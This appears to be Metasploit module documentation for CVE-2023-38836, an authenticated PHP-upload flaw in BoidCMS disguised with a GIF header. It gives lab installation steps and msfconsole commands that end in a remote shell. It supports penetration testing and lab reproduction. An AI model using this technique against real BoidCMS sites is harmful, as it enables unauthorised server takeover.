Vulnerable Application
This module leverages CVE-2023-38836, an improper sanitization bug in BoidCMS version 2.0.0
and below. BoidCMS allows the authenticated upload of a php file as media if the file has
the GIF header, even if the file is a php file.
Once the file is uploaded, a user can then feed a command to the php file in a GET request.
Installation
Ubuntu 22.01.1x64 (Any 'nix should work)
sudo apt-get install apache2 #install apachesudo apt-get install php8.0 #install phpsudo a2enmod rewrite #enable mod_rewritesudo systemctl restart apache2 #restart apache2- Follow installation instructions here: https://boidcms.github.io/#/install
a. download https://github.com/BoidCMS/BoidCMS/archive/refs/tags/v2.0.0.zip, unzip, and place
the contents into the
/var/www/html/folder on the apache server. b. Add$App->page = ltrim( $_SERVER[ 'PATH_INFO' ] ?? '', '/' );before the following line:$App->render(); rebootcd /var/www/htmlsudo php -S [ip_address]:8080 #start php server
Windows 2019 server (Any Windows should work)
- Download and install XMAPP for Windows from https://www.apachefriends.org/download.html
- Reboot
- Open XAMPP Control panel as admin.
- Follow installation instructions here: https://boidcms.github.io/#/install
a. download https://github.com/BoidCMS/BoidCMS/archive/refs/tags/v2.0.0.zip, unzip, and place
the contents into the
C:\xampp\htdocs\folder on the apache server. b. Add$App->page = ltrim( $_SERVER[ 'PATH_INFO' ] ?? '', '/' );before the following line:$App->render(); - Verify that mod_rewrite is enabled for Apache.
a. Click on the
Configbutton beside the Apache status in XAMPP Control panel b. Select the httpd.conf c. VerifyLoadModule rewrite_module modules/mod_rewrite.sois uncommented d. Restart Apache if you needed to uncomment the above line - Start the php server
a. Open cmd window as Administrator
b.
cd C:\xampp\htdocs\c.C:\xampp\php\php.exe -S 10.5.134.102:8080#I don't know why we start the server on port 8080, but on windows, we access with the rport value of 80.
Verification Steps
- Install BoidCMS
- Start msfconsole
- Do:
use exploit/multi/http/cve_2023_38836_boidcms - Do:
set CMS_USERNAME [username] - Do:
set CMS_PASSWORD [password] - Do:
set TARGETURI [target uri] - Do:
run - You should get a shell.
